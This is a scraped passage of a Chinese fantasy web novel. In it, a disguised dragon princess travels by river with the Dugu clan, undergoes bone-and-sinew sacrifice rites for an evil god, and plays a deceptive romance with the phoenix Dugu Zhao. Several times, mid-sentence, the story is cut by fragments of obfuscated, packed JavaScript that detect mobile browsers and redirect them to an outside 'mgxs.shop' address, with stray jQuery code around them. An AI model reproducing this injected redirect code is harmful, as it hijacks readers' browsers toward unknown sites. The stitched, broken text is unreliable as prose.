“阿靖,你这一路上心神不宁,不像样子。”独孤归鸿语气里带着一点失望,“你知道等到尊神降旨是多不容易的事,你的前任圣女没有这个机会,一生寂寂无名,只能老死在族地里。而你不一样,只要尊神对祭品满意,往后你就是独孤家的大功臣。抓住这个机会,千万不要心软。” 独孤靖明白他的意思。毕竟她原本想放李巧娘走,可她非要找独孤照,自己不得已才杀了她。当时独孤归鸿就在旁边,看着她杀了李巧娘。他说她如果一开始就干净利落地割喉,也不至于弄脏自己的手。 鱼织靠着栏杆,刚刚她听到了独孤归鸿和独孤靖的对话,才明白为什么这一个月来没动手。 她下意识看向独孤照。 独孤照一直望着远处的山林,像一尊石头人。但鱼织的目光投过来时他立刻扭头,随时捕捉到她的注视,随时望进去看看她究竟想做什么。 鱼织眨了眨眼睛,还是露出她标志的、干净的、纯粹的微笑。 独孤照也不知自己怎么了,每一次她冲自己笑,每一次只能从那双眼睛里看到极致的纯净、没有半分算计没有半分阴翳,他都会很烦躁。 玉符和寻瑰提着大包小包回来了,独孤轩和独孤亭跟在后面。 见人齐了,独孤归鸿点点头,“上船吧。” 马夫赶着马车上了船。 鱼织刚上船就看到船老大领着船工在船头拜神,好奇道:“他们在拜什么?” “江神。”身后传来独孤归鸿的声音,“保佑我们这一船人平安过江。” 鱼织假装听不懂,“世伯,江上有什么危险吗,为什么要江神庇佑?” 独孤轩在采买的时候打听过了,“听说东溟江里有一只即将化龙的恶蛟,专门吞吃过往船只,连船带人一点不剩。” “那很可怕了。”鱼织嘴上说着,心想有她这个龙女坐镇,蛟妖应该不敢袭击这艘船才是。 她的直觉很准,船离岸之后一路风平浪静,船老大都觉得不可思议。他说大多数商船都会在前段遇到漩涡乱流,只要及时将提前准备好的三牲六畜丢下去,便可以安稳度过七天。像这样无风无浪的还是头一遭。 鱼织特意让玉符买了些糕点在船上吃。她不喜欢离开舱房,因为经常能闻到烹煮海鲜的味道。好在船上每个舱房里都备有一大桶淡水,足不出户就能掌握独孤归鸿和独孤靖的动向。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275550|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 过了半个月,商船驶到东溟江中段。 玉符和寻瑰头一次坐船,尽管没有蛟妖翻江倒海,她们也整日昏昏沉沉。连着半个月都是天一黑就睡下。眼见两人又睡晕过去了,鱼织拿起话本子,一边吃点心一边看。 蓦地,她抬头看向面前的墙壁。 隔壁是独孤靖的舱房。 端放在四方桌上的神像忽然矮了半截,流出黑泥。 独孤靖立刻屈膝跪下,恭敬地取出赤香。 她的表情从茫然,到喜悦,接着又露出一丝茫然。 等神像又如往常,独孤靖捧起神像,走到隔壁独孤归鸿的舱房。 独孤归鸿打开门,看见她手中盖着红布的神像,一下子明白了,按捺不下满心激动,“快进来。” 两人没有注意到角落里圆桶里,一道水流悄悄升起,扒住桶壁。 独孤靖:“尊神命令我们三日之内献上第二场祭祀。” 独孤归鸿在屋子里走来走去,停下脚步,脸上带着些许懊恼,“三日?三日后,我们还在江上!如何为尊神寻得祭坛?” 独孤靖:“在这船上临时搭一个……” 独孤归鸿冷不丁地看向她,眼里杀意盎然,“那就将整船人都杀了。” 独孤靖愣了愣,又听独孤归鸿说,“早知如此就应包下一整条船,如今船上不止我们,要是被人看见……” 所以,要杀了一整船人。 独孤靖下意识拒绝了,“不行。” 对上独孤归鸿审视的目光,她垂下头抿了抿唇,“人都死了,到了渡口,只剩我们活着,也不好交代。” 独孤靖甩袖,背过身去,似乎在思考如何是好。 红布底下慢慢飞出一条黑气,独孤靖的眼神霎时迷离了,等黑气回去才又清明,“二伯,尊神说五十里外的江汀上有一座附近渔村给蛟妖立的野庙,水下就是蛟妖的老巢,我们可以在那里设坛。” 独孤归鸿看了过来。 独孤靖:“至于船上的人……都迷晕了便是,让船在江上等我们。反正这些时日妖蛟惧怕尊神威严不敢来犯,必不会料到我们杀它个措手不及。” 过得一会儿,独孤归鸿才说,“行,那就依你所言。” · 江汀水下是一大片数百年前被淹没的屋舍,被一个结界包裹着。正中间,一条长达十数米的蛟妖盘成一团。偶尔探出头去看看,察觉到那股骇人的气息还没离开这条江河,就又继续当缩头乌龟。 东溟江汇入东海,平时也有龙族经过此地。都是路过,不屑理会它。今天来的不一样,一直在江上,走得十分缓慢,不知道怎么回事。 蛟妖惴惴不安。它开始思考是不是自己平时吃太多人了,天道派龙族来治它。可好好给它香火的凡人它都庇佑了!它吃的都是抠门的凡人! 蓦地,它觉察到了一股威压。恐怖的气息。蛟妖意识到是江上那个大东西来找它了。 它慌不择路地往上跑。上面就是它的野庙,还有一些没来得及吸收的香火。此时也顾不得了,撞破屋顶也要跑。 “站住。” 一道声音远远地传来,仿佛绳索,竟无形地将蛟妖捆绑住。 它的身体失去控制,坠入结界。 8. 第 8 章 蛟妖结结实实地摔在地上。 它抬起头,硕大的竖瞳里流露出一丝恐惧。 一条如月光织就而成的银线朝它游了过来。 那是龙,真真正正的龙。它梦寐以求想要成为的龙。 银龙穿过结界,变成一个少女,在水中轻轻地坠下,手掌一挥,结界内的水自行流了出去,在江底创造出一小块陆地。 蛟妖很久没上岸了,有些不习惯。 它不敢在真龙面前造次,往日嚣张惯了的它乖顺地低下脑袋,“不知大人从何处来,小妖在江中修炼……” “不必说客套话。”鱼织摆摆手,“我是东海龙宫的二公主鱼织。” 蛟妖很激动,那可是它成龙之后最想去的地方,“东海——” 激动完了它又把脑袋缩回去,盘成一坨,惴惴不安地问:“殿下是来兴师问罪的吗?” 鱼织不解,“问什么罪?” 蛟妖:“我在江中修炼,吃了很多过往船只,那上面有一些凡人……想着剔牙麻烦,我就一并吞了。不过给我修野庙送香火的凡人我没吃!我还帮他们实现愿望了。” “一些凡人而已。”鱼织走到蛟妖面前,伸手捏了捏它脑袋上两个软乎乎的小角,“你离化龙还有很长一段路,帮我办事,我给你一点机缘。” 蛟妖眼睛都亮了,开心地摇起尾巴,“多谢殿下!不会是很难的事吧?” “不难。”鱼织好生嘱咐。 蛟妖听说有两个凡人想霸占它的香火,先是生气,又听鱼织说他们供奉的是一尊连她也要避其锋芒的邪神——原来想吃它香火的家伙这么厉害,刚燃起的怒火瞬间熄灭了。 蛟妖磕磕巴巴,“殿下,只需要将他们、也就是那三个凡人引开就行了,对吧……那是不是能引多远就引多远?” “也别太远了。”鱼织觉得蛟妖可能把他们带到西海去。 蛟妖松了口气,“小妖明白。” 鱼织回到船上时天已经亮了。 独孤归鸿和独孤靖商量好,等商船即将开到江汀野庙,就把整船人弄晕。独孤归鸿留在船上控制情况,她三人带着独孤照和鱼织下水。 商船夜行缓慢,白天加速,约莫半天能到江汀。 玉符和寻瑰已经醒了,见床上的人还睡着,便蹑手蹑脚地出去准备早膳。 她们前脚刚走,后脚窗户猛地打开,鱼织进入舱房,挥手打破了水傀儡,换上淡紫色的长裙走了出去。 刚走出去,一个少女拉住鱼织,边唱边跳,来到了船头甲板上。 原来是渡江的商队在踏歌。 往来商船畏惧江中蛟妖,从来不敢高声语,只求顺利渡过。如今过了十来天还是风平浪静,简直是难得的好事。船上的人都高兴起来,以为那蛟妖已经离开了这片水域。 听到外面的喧闹,独孤照也打开了门。 一下子看到这么多人,他下意识想钻回屋子里,不知被谁拽了一把,被人流推着走到甲板。 独孤照眉头紧锁,四处寻找独孤归鸿和独孤靖的身影。目光骤然停在了被两个少女牵着手被迫舞动的鱼织身上。 鱼织一开始手忙脚乱,后来渐渐适应。她跟鱼情不一样,父皇属意的下一任东海龙王是阿姐,于是阿姐从小就要学法术,理政务,学着跟其他三海族民和谐相处。 鱼织是被放养的,整个东海没有她不曾踏足的地方。阿姐曾经说过,待她有朝一日继位,鱼织就可以放眼四海到处玩耍。天塌下来也会有有她挡着。 倘若能整日这样载歌载舞,快快乐乐地活着—— 鱼织仰起头,面向阳光。太阳灼痛了她的眼睛,她忽然想起自己活在水里。一道尖锐的视线仿佛从她的身后刺来,仿佛要剥开她的伪装。 鱼织猛地回头。目光穿过人群,与少年的碰撞、交织。 就是这个人在未来屠尽了龙族。 差一点,差一点她就流露出了杀意。鱼织没有忘记她的目的,独孤照不是一个需要她打救的小可怜,他是她的敌人。 她露出一个极其灿烂的笑容,朝独孤照伸出手,“独孤照,跟我们一起吧!” 独孤照几乎以为他触碰到了真实的边缘。 他觉得鱼织很奇怪,如雾里看花,水中望月。他不相信任何人,当然也不会相信这个龙族少女是善良美好的。 一切都是假的。 他这么想着,手指却不由自主地动了起来。似乎真的想伸出手去,握住她柔软的手指。 一个喝得酩酊大醉的男人路过他身边,不慎撞了一下独孤照的肩膀。 他几乎瞬间清醒,不敢相信自己刚刚在做什么。 那可是龙族啊,他最痛恨的龙族啊。 看着独孤照跌跌撞撞离去,鱼织脸上的笑容慢慢消失了。 旁边的少女还想拉着她一起跳舞,她淡淡地扫了对方一眼。 少女打了一个寒颤,说不出哪里害怕,低头离开了。 鱼织没有在人群里看见独孤归鸿和独孤靖,倒是见到了焦急地四处寻找她的玉符和寻瑰。 她一边跟着两人回舱房,一边调动商船上所有水源,终于在最下层的仓库里找到了独孤靖。 她看着独孤轩将一瓶无色无味的粉末倒入酒桶里。 “迷晕一整船的人还是下药最快。”独孤轩给所有酒桶都下了药,为防有人不喝酒,甚至下了在清水里。 独孤亭好奇道:“靖姐姐,我听说过蛟妖,但没见过龙。这世上真的有龙吗?” 独孤靖也没见过,龙是传说中的生物,就跟凤凰一样。世人崇尚龙凤,却从未见过它们。因此才有“叶公好龙”的典故,人所追求的未必是敢于面对的。 仓库的门被打开。是独孤归鸿,他看着醉醺醺的,实则眼神清明,“差不多时候了,靖儿,船停下时你先下水查探,你们两人带着林鱼织和阿照,千万别出差错。” 三人上去之后便有船工下去搬酒。船头甲板热闹非凡,几乎每个人都喝了两杯,便是昏迷也只会让人以为是醉倒了。 商船走得越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275551|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢,最后在隐约能看得见远处一片江汀时停了下来。沉重的船锚砸进江中,将商船固定在原地。 独孤靖抱着神像跳入水中。 触水瞬间,红布下的神像向四周弹开一道气浪,在水中形成让独孤靖可以自由呼吸的屏障。 眼见天色已暗了下来,独孤靖借神像的力量,在水中视物,朝着江汀下被水淹没的重重屋舍游去。 过了大概半个时辰,她从江中探出头,示意船上的独孤轩和独孤亭下去。 独孤轩和独孤亭分别困着独孤照和鱼织,从船上跳下,掉进神像的屏障中。 两人正感叹尊神无所不能,被独孤靖淡淡呵斥了一句,“尊神告诉我那蛟妖就在水下的结界里,你们务必小心。” 三人一直游到了结界上边。 屋舍里空无一人,独孤靖心下诧异。环顾四周,并没有看到蛟妖踪影。难道它感觉到尊神大人的气场,畏惧潜逃了? 独孤轩:“靖姐姐,我们要下去吗?” 独孤靖点点头,“走,下去。” 三人穿过结界。 独孤靖快走两步进入屋舍,仰头看着天顶被破开的大洞,“那上面就是蛟妖的野庙。” 话音方落,红布下蹿出一道黑气钻向上方。 独孤轩把独孤照放在地上,从包袱里取出香鼎供布,和独孤亭一起搭祭坛。 等他们搭完祭坛,独孤靖将神像放在祭台上,取出三支赤香,一如既往地念诵祷词。 她将赤香插入香鼎,只见黑气从外面回来钻到了红布底下。独孤靖的表情变了变,“尊神大人说那只蛟妖不在野庙里,看来它真是害怕得逃走了。” 独孤轩和独孤亭自觉地退了出去。 独孤靖起身,走之前看向躺在边上、紧闭双眼的鱼织。 她自言自语,“林小姐,你与此事无关,我本不想害你。可我没得选,这是我生来便有的责任。幸好尊神减轻了独孤照的痛苦,也能让你少受一些苦楚。” 上路之前独孤靖还觉得林鱼织能回到林家。 渐渐地,她开始明白,就算林鱼织什么都不知道,就算解开了生死蛊,就算她没有被独孤照牵连,她也回不去林家了。 独孤靖阖上屋舍的门,静候献祭开始。 这时,她感觉到有巨大的阴影从头顶的结界上飞过。速度之快让她难以反应。 轰——! 独孤轩被一股巨大的力量撞飞,独孤亭惊恐地看着在水中慢慢上升,犹如一座小山似的庞然巨物。 巨物硕大的竖瞳盯着他们,长长的信子比成年人的手臂还要粗。 蛟妖! · 直到蛟妖把独孤靖三人逼走后,鱼织从才水中现身,进入结界。 她从破损的天顶跳进屋舍,就看见神像同上次一样,逐渐长成了一尊巨像,只是这一次祂掐的是莲花指,流到独孤照面前的黑泥变成了一个长瓮。 “施我尔骨,还之以愿。” “施我尔筋,还之以恨。” 9. 第 9 章 这两句话反反复复地呢喃,连江水都为之颤动。 鱼织已经领会过还血还肉的痛,她觉得世上再也没有比那更痛的。尽管如此,当她看到长瓮里慢慢长出一把匕首时,幻痛席卷了全身,她下意识萌发出退意。 独孤照握住了匕首,划开自己的手臂。 “不。” 鱼织再一次攥住了他的手。她已经划掉了一笔血债,如果在此止步,她之前付出的都白费了。 她以为独孤照还是那样无知无觉,却没觉察到他的眼瞳轻轻颤了一下。像深陷梦境的人试图醒来。 便是那样千倍百倍的痛,她都忍受了。这又算得上什么? 鱼织划开了自己的手臂,纸肤裂开,浓墨流了一地。她却突然眼前变幻,突然站在一片广袤无垠的平原上。 头顶的太阳足足有十个,炙烤着大地。鱼织抬起头,阳光刺得她睁不开眼。她忽然想到了什么,神情变得惊恐。 不,不是平原。 她意识到了。 这里是东海,是海水枯竭后的东海。 她的周围是被晒死的海生植物,昔日绚烂的珊瑚早就成了一堆堆灰白的顽石,海族的尸体遍地可见,根本看不出它们曾经是什么样子。 鱼织知道这是幻觉,于是她拔腿拼命地向前跑,试图找到这场幻境的出口。只是迎接她的并不是出口,而是一条长达数千里的海沟。 海沟被太阳掏空,却没有留下深不见底的创伤。因为它的伤口上躺着一条巨物,它浑身的鳞片被晒得皲裂、脱落,龙角断裂,龙齿折戟。只剩下半条命,在生命的尽头喘息。 鱼织认出这是她的父皇。 一股流经四肢百骸的剧痛袭击了她,其痛苦远远超过割肉竭血。她朝前跑,但不管怎么跑,奄奄一息的龙王都像在遥远的地方,看似触手可及实则相隔百里。 烈日灼烫。 鱼织知道这是假的,她狠下心往回跑。而这一次她见到了破碎的龙宫,她的母后本是一条鳞片泛着鎏光溢彩的青龙,现在只剩一具焦黑的尸首,悬挂在龙宫最耀眼的明珠尖上。 “啊、啊、啊——” 鱼织发疯地抓住自己的头发。她忽然听到了遥远的呼唤,是阿姐的声音。 鱼织在一片她永远也无法触及的土地上找到了鱼情。她的龙断成十数截,龙头却还能动。曾几何时被夸赞过比明珠还耀眼的眼眸充满血,血和泪混在一起流下,又被日光蒸干。 “阿织,是阿姐错了,阿姐不该相信他,是阿姐害死了父皇和母后,阿织,你快逃吧,快逃吧……” “不、不、不……”鱼织只能发出单个音节,她说不出话了。 · 独孤照孤零零地坐在一片漆黑的世界里。 如果他的族人还在,他本就应该来到人间,成为独孤照,迎接属于他的劫数,渡劫涅槃。 如今倒也没什么不同,只是涅槃的目的不再是成为天下最美丽最强大的凤鸟,而是成为一柄向龙族讨还血债的兵器。 独孤照的命运跟他一样多舛。 他闭上眼,本应感觉到极致的痛楚。但是和上次一样,从一开始有微微的疼,然后便是漫长的无尽的等待。 如果不是凤族的力量一定在痛苦和烈焰中重生,他会怀疑自己根本没有渡劫。 本该空无一物的脑海中却出现了那场错觉。 少女为他牺牲,片下血肉,那样义无反顾的勇气,是他不曾拥有的。 可她是一条龙。 龙都是坏东西。 独孤照慢慢地吐出一口浊气。 忽然,他感觉到手臂上传来一阵剧痛。慢慢地睁开眼,却看到了令他此后直至灵魂尽头也难忘却的一幕—— 少女一只手抓着匕首,另一只手紧紧地攥住他的手臂。她用匕首划开皮肤,挑出染血的骨头,任其掉进长瓮。 她的双眼圆睁着,脸颊溅上了她自己的血。本应是一场向悲剧奔赴的绝望,却被她那双蓄满眼泪的眼睛里溢出的决绝冲散了。 凤族崇尚太阳,哪怕太阳遥不可及。而如今独孤照却在自己的仇人脸上看到了一双如烈日般的眼睛。她看着他,仿佛在透过躯壳看见他的灵魂。 很久以后独孤照才知道,原来当恨强烈到极点时,就会变成世人难以企及的爱。 而此时他并不懂这些。他只知道自己被吸引了,就像世界上第一只凤鸟被太阳吸引,于是义无反顾地奔向它。 “我一定会救你的……” 破碎的腔调从鱼织的口中吐出,每一个字,她都说得很艰难。她重复了两遍,眨了一下眼睛,大颗大颗的眼泪掉了下来,砸到独孤照的手背上。 眼泪没有温度,却灼痛了他。独孤照以为这份真情是给他的。一时间,他忘记了眼前的少女是一条龙。 一条他恨之入骨的龙。 · 鱼织被困在幻境里,不管她往哪里跑,都会看到至亲之人的下场。死亡与烈日一样无处不在。 等到她筋疲力竭地摔在地上,看到自己伤口里渗出来的血时,才意识到这是假的。 她以为痛苦只是来自身体上的,殊不知还有远超身体能感知的痛苦。 任谁经历了这一切都会发疯的。再美好的心也会变黑。 她不能继续待在这里。她有很重要的事要去做,她不是来面对这一切,而是来阻止这一切的。 鱼织慢慢地往前走,走到了鱼情的残破龙尸前。不管她来多少次,阿姐仅剩的龙头都会安慰她:“别怕。” 鱼织捡起一块贝壳,磨尖了边缘,放到自己的手臂上。 她看着眼前如末日般的场景。眼泪盈满眼眶,向这一切发誓: “我一定会救你的。” 骨头掉进长瓮,鱼织听到了令人牙酸的咀嚼声,幻境突然消散,绝望的末日变成了独孤照惊愕的神情。 鱼织轻轻眨了一下眼睛。 眼泪啪嗒掉在独孤照的手背上,溅起水花。 她松开了他。 一瞬间,仿佛有一股力量强迫独孤照睡去。长瓮摇了摇,似乎在催促鱼织赶紧投入下一块骨头。 鱼织的眼神渐渐冷了下来。 第二块、第三块、第四块……她已经能迅速地在陷入幻境时,立刻找到手边最近的利器,挑出骨头。 直到抽光了身体里大部分骨头,鱼织无法站立,倒在地上,看着空空如也的长瓮倾倒下来。 一行泛着金光的字也出现在面前。 “还筋还骨”。 她变回龙身,眼里满是决绝,一口咬住龙筋,从身体里狠狠地抽了出去—— 为了躲避蛟妖,独孤靖不得不带着独孤轩和独孤亭上岸。 爬上岸之后蛟妖就没追过来了,但这时三人都听到了一声极其痛苦的悲鸣。像一只远古巨兽死前的啼哭。 独孤轩和独孤亭听到后瞬间跪了下去,在地上颤抖。 与两人不同的是,独孤靖只是站着,却遏制不住地落下泪来。 她也不知道自己为何而哭,是怜悯这兽,还是感觉自己与它没什么不同?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275552|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>长瓮吃掉鱼织的龙筋,神像变回了原来的样子。 金光淡淡地包裹着鱼织,她从龙变回人身,落在地上。 她不知道命书用什么填充了她的骨头和龙筋,总之手能抬起来了。鱼织一把握住悬浮在半空的毛笔,在黯淡的“还骨还筋”上用力一画。 “第二笔血债。”她松开毛笔,毛笔逐渐消失,“清了。” · 将水傀儡打散之后,鱼织倒在地上不省人事。 好在船上的人都喝醉了,玉符和寻瑰也以为她醉了。由着鱼织睡足了十二个时辰。 醒来后玉符给她端热汤,忍不住抱怨了一句,“若不是独孤家,小姐岂会这般憔悴。寻瑰,你看,是不是离开林家之后,小姐越发病恹恹的了?” 寻瑰观察鱼织的脸色,赞同道,“没错,小姐看着像生了一场大病。既然是独孤家引致的中毒,要不然让他们看看?” 玉符立刻反驳,“让害小姐的人给小姐看病,这不是胡闹么。” 两人出去备膳。忽地窗户被谁推开了一条缝隙,手镯粗细的蛇溜了进来,爬到鱼织床头。 蛟妖听到了那声嘶吼,当时它就跪了,怕得不行,“殿下,你看着不大好,是不是受伤了?” “我没事。”鱼织歪了歪头,“那邪神吃掉了你的香火?” “没错。”蛟妖可没有卖惨的意思,它只是实话实说,“我自觉打不过它,只能由着它去了。” “很识时务。”鱼织从手臂上拔下一块龙鳞,递给蛟妖,“你拿着它去东海龙宫,跟我讨要一份机缘。切记,只能跟我讨。” 蛟妖高高兴兴地接过,“多谢殿下。” “以后你还待在东溟江,潜心修炼。非我族类,吃一些倒是没什么,但吃多了渡劫时天道可不让你过,你就没办法化龙了。” 蛟妖其实不大喜欢人的滋味,它更喜欢的是商船上的货物。囫囵吞枣不过是因为从嘴里拿出来麻烦。 既然鱼织都吩咐了,它往后会勤快一点,把商船上的人都丢上岸再吃。 打发走了蛟妖,鱼织起身,走出舱房透一透气。 江风吹得人清醒了一些,不知是不是命书的手笔,幻境里的一切与还血还肉的痛苦一样,被淡化了许多。 鱼织感觉到了他人的气息。 她回过头,看见独孤照站在走廊上。 风吹起他的发尾,鱼织发现他的后颈有一抹红色。颜色仅仅抹在了发根上,风一吹才能看见两分。 鱼织忽然想起一件事。 她剔骨时独孤照好像清醒过来了? 他看到自己剔骨了吗?她一边想,一边不动声色地抬起眼,看向独孤照。 她看不懂独孤照想做什么。 他只是沉默地看着她。 没有敌视,没有痛恨,只有复杂。 说不清、道不明的复杂。 蓦地,独孤照动了。 他走到了鱼织面前,伸出手。 鱼织看着他紧攥的拳头,不明所以,但还是维持她的伪装,“独孤照,你怎么了?” 独孤照的拳头翻了过来,五指摊开,露出了一个因为被攥在手心里所以有点发皱的小东西。 一只老虎布偶。 一只耳朵缝得不好,略有一点丑丑的老虎布偶。 鱼织呆住了,一时忘了扮演的角色,怔怔地看着独孤照。 她不明白他想做什么。 而他已经想好要做什么了。 “阿织。”独孤照声音很轻,“送给你。” 10. 第 10 章 商船在江上又走了半个多月,抵达炎州广容渡。 独孤归鸿在码头买了四匹马和一辆马车。 等玉符和寻瑰布置好马车,鱼织上了车。看见独孤照掀帘子进来,眼神动了一下,闭上眼佯装小憩。 帘外传来独孤归鸿的声音,“穿过炎州就是瘴州了,快的话一个半月就能到独孤家。贤侄女不曾来过岭南湿热之地,若是不舒服尽管说出来。” 鱼织:“多谢世伯关心。” 说完,她面前忽然放了一盏茶。 如果是玉符倒的,鱼织欣然饮下。但现在给她倒茶的是独孤照。 鱼织反应如常,眼睛亮亮的,“谢谢阿照哥哥。” 玉符和寻瑰面面相觑,都从彼此眼睛里看出“见鬼了”三个字。 在两人眼中,鱼织不适应水路,很少离开舱房。也就很少跟独孤照打交道。而上船之前独孤照厌恶林家所有人,包括鱼织。从没给过她好脸色,怎么到了炎州就转性了? 鱼织本性善良,在林家就关照过独孤照。可独孤照的变化也太……突兀了些。 玉符和寻瑰不由得冒出个荒谬的想法:莫非独孤公子对小姐动心了? 更荒谬的是小姐叫他什么来着……阿照哥哥? 这一路上对两个丫鬟来说极其不太平。 因为鱼织跟独孤照突然“其乐融融”了起来。 鱼织给他递糕点,他接过吃了。他给鱼织倒茶,鱼织也喝了。 两人看着真像关系很好的表兄妹。 两个时辰后马车停下,众人抵达驿站。独孤归鸿的意思是在此休息一晚,明日再启程。 独孤照先下车,转身向鱼织伸出手,“阿织,小心。” 鱼织的手无意间碰到了他的手臂,独孤照像被灼痛一般往后缩了一下。 鱼织眼中掠过一丝玩味,关切道:“阿照哥哥,你的手怎么了?” 独孤照装作若无其事:“没什么。” 鱼织将手指搭在独孤照的掌心。雪白柔软的手指与他粗糙黢黑的手掌对比鲜明。 独孤照轻轻一拉,鱼织扬起的裙摆像展开的鸢尾,在空中飘荡少许,轻飘飘落地。 走进驿站,鱼织听见独孤归鸿拔高的声音:“……山匪?” “没错,客官是从横州来的吧?三个月前,广容渡附近出现一伙山匪。他们自称‘山娘子’,专门劫持来往客商,索要银两。” 独孤归鸿放下银两,并不将老板的话放在心上,“我们不怕山匪。” “若是普通山匪,确实没什么可怕的。但这‘山娘子’厉害得很,听说他们供奉了鬼神,不但抢人钱财,遇见小白脸似的男子,还会掳回去献给鬼神。上个月就有一位翩翩公子被抓走了,我看啊——” 老板踮脚歪头,看见独孤照时像有了新发现,指着他说,“这位公子长得就很像会被抓走的样子!” 独孤照脚步一顿,看向老板。 老板娘抱着笼屉走过来,用屁股狠狠地撞了一下老板,把笼屉塞到他怀里,“就你话多,去后面干活。” 说完转身面向独孤归鸿,满脸堆笑,“客官别在意,我这口子满嘴胡话,几位是一起住店的吧?要开几间房?” 独孤归鸿张开手掌。 老板娘高兴地张罗去了。离开前偷偷仔细打量了一番独孤照,从表情来看她跟老板的想法一样。 房间里,玉符将温热的手巾递给鱼织,跟寻瑰交换眼神,小心翼翼地问:“小姐,你……喜欢独孤公子吗?” 鱼织用手巾敷着脸,闻言将手巾拉了下来,“为什么这么问?” “小姐居然喊独孤公子阿照……”寻瑰的声音都小下去了。她可叫不出“阿照哥哥”四个字。 鱼织不以为然,“他本就是我的表兄,喊一声‘哥哥’也没什么。” “那也应该喊表兄吧。” “独孤表兄,我看这四个字最好。既不逾越,也有两分亲近。” 鱼织看着她们叽叽喳喳商量她对独孤照的称谓,有些无奈又有些想笑。 他都敢叫自己“阿织”了。鱼织本就在演戏,不介意再演得逼真一些。 少年把老虎布偶递给她的时候,鱼织先是惊诧,旋即心底的寒意一丝一丝地蔓延出去。 他就是这么诓骗阿姐的。 装出无辜深情的模样,用一些微不足道的东西骗得阿姐的真心,使她付出灭族的代价。 他想骗我。 这个念头冒出来的时候,鱼织竟然有点兴奋。 好极了。既然缠上了她,可就不许缠住阿姐了。 鱼织拿过手巾轻轻擦拭湿漉漉的头发,露出一抹愉悦的笑容。 独孤照坐在房内。 他把玩着手里的老虎布偶,想到将它递给鱼织时,那一瞬间她的神情。 是惊讶,还是兴奋?说不清。独孤照以为是因为自己叫她“阿织”,她太高兴了。毕竟他已经确定鱼织就是个单纯愚蠢,天真烂漫的龙族。世上没有人愿意为他抽筋剔骨,她是第一个。 独孤照掀开衣袖,看着手臂上的痕迹。 一个五指掌印深深地潜入他的皮肤,血色渗透之后留下了灼烧般的痕迹。可以看得出是少女的手,手指处用力地嵌入皮肤,仿佛要用力握住一切,眼前的人,亦或者过去和未来。 独孤照翻开另一只手的掌心。 一朵小火苗倏然冒起,在他掌心跳跃。 他心情有些复杂。五指收拢握住了火苗,艳丽的红色从他指缝里漫出,包裹住整个手掌,再然后向上收束成一朵火苗,愉快地在手指上弹琴。 龙女若无真心,如何能代他献祭。每一次痛苦都是为涅槃积蓄力量,等到凤凰火足以覆盖他的真身,就是独孤照涅槃重生之时。 也是他向龙族讨回血债之时。 月上树梢。 鱼织忽然睁开眼,看了一眼睡得正香的玉符和寻瑰,合衣下床,走到窗边打开一条缝。 明亮的月光照亮了后院里鬼鬼祟祟的身影。看着是两个男人,他们偷偷潜入后院,一个人数马厩里马匹的数量,另一个人潜入驿站,过一会儿出来了,两人凑在一起交谈。 鱼织伸手沾了一点茶壶里的水,对准其中一个人的后颈弹了出去。 “……都睡着了,今天入住的人不多,就两队。其中一队里有一个小白脸,你且在此等候,我回去禀报少寨主……” 他忽然哎呀一声,摸了摸后颈,诧异地抬起头,“下雨了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275553|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没呢,你快去快回。”同伴催促道。 说完他从怀里掏出蒙汗药,全倒进马槽里。 山贼转身跑了,没注意到后颈的水滴缓慢移动,爬到了他的额头上,看着像一滴没擦去的汗。 他跑进官道旁的密林里。 一股烤肉香味传来。林子里有人在生火烤肉。 月光为少女的侧脸镀上一层银盔,听到声音,她转过头来,露出右半边脸碗大的胎记,“怎么样?” 山贼:“有一个小白脸,长得不错。” 除少女之外,还有七八个山贼,都是孔武有力的女人。 闻言,其中一人看向少女,“少寨主,母神诞辰就要到了,十八个祭品还未凑齐,不如今晚动手。” “是啊,寨主将此事交给你,你可千万不能让她失望。” 少女闭上眼,手指有节奏地拍打着大腿外侧,沉吟片刻,“好,刘三,你确定那是个小白脸?” 山贼用力点头,“就是瘦了些,但绝对算得上小白脸。” 少女起身,把烤好的肉丢给山贼,“你继续烤肉,我待会儿回来吃。” 山贼接过架子,应了声好。看着少女跟其他女人走进山林里,不多时骑着马冲了出来。 